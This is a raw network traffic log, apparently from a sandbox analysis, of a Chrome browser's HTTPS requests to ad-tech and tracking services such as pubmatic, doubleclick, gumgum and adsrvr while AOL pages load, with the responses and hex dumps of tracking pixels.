2024-05-23 22:35:12 UTC	2404	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODImdGw9MTU3NjgwMCZkcF9pZD0yMg==&piggybackCookie=2453272765358793259&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:12 UTC	644	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_22=14911-2453272765358793259&KRTB&23150-2453272765358793259&KRTB&23527-2453272765358793259; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:12 GMT; path=/ Set-Cookie: PugT=1716503712; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:12 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:12 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.6	50439	142.250.185.130	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	609	OUT	GET /pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzQ3NjQ5MDEwODY2MzM4NTE4NTQ0MA%3D%3D HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:12 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:12 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.6	50435	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	2153	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=8369ae03-bf51-422b-a15c-33306b0e1dfe&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:12 UTC	744	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:12 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:12 GMT; path=/ Set-Cookie: PugT=1716503712; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:12 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.6	50440	142.250.185.130	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	583	OUT	GET /pixel?google_nid=openx&google_hm=MDMyMTk5ODAtNmViOC0yMGU1LWY0Y2UtZmQxNmIwODM5OTM2 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:12 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:12 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:12 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.6	50427	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	431	OUT	GET /usersync?b=sad&i=8330378466080050028 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:12 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:12 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:12 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.6	50442	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	2099	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MjImdGw9MTI5NjAw&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:12 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:11 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.6	50431	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	481	OUT	GET /usersync?b=bsw&i=ad3998d2-fd62-4225-919d-66f459efadb2&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:12 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:12 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:12 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.6	50441	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	2157	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTIxNzcmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=CAESEO5FZOJv3zXMMW5oDLBIMAE&google_cver=1 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:12 UTC	669	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:11 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:11 GMT; path=/ Set-Cookie: PugT=1716503711; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:11 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:12 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.6	50444	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	2066	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&event=ad_timeout&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktY [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:12 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:12 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:12 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.6	50213	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	815	OUT	GET /track/cmf/generic?ttd_pid=8m33zk4&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgAygCMgsInoGWherg_TwQBTgBWghwdWJtYXRpY2AC
2024-05-23 22:35:12 UTC	579	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:12 GMT Content-Length: 199 Connection: close server: Kestrel location: https://cs.media.net/cksync?cs=1&type=ttd&ovsid=8369ae03-bf51-422b-a15c-33306b0e1dfe set-cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; expires=Fri, 23 May 2025 22:35:12 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgASgCMgsIrvyw8-rg_TwQBTgBWgc4bTMzems0YAI.; expires=Fri, 23 May 2025 22:35:12 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:12 UTC	199	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76 73 69 64 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 22 3e 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 63 73 3d 31 26 74 79 70 65 3d 74 74 64 26 6f 76 73 69 64 3d 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://cs.media.net/cksync?cs=1&type=ttd&ovsid=8369ae03-bf51-422b-a15c-33306b0e1dfe">https://cs.media.net/cksync?cs=1&type=ttd&ovsid=8369ae03-bf51-422b-a15c-33306b0e1dfe</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.6	50443	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:12 UTC	631	OUT	GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Medium.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://help.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "5f64ea58a43603ddab8b2e538701f6f8"
2024-05-23 22:35:12 UTC	463	IN	HTTP/1.1 304 Not Modified Date: Thu, 23 May 2024 22:35:12 GMT Etag: "5f64ea58a43603ddab8b2e538701f6f8" Cache-Control: max-age=31536000 Connection: close Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Vary: Origin ATS-Carp-Promotion: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.6	50424	3.121.27.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
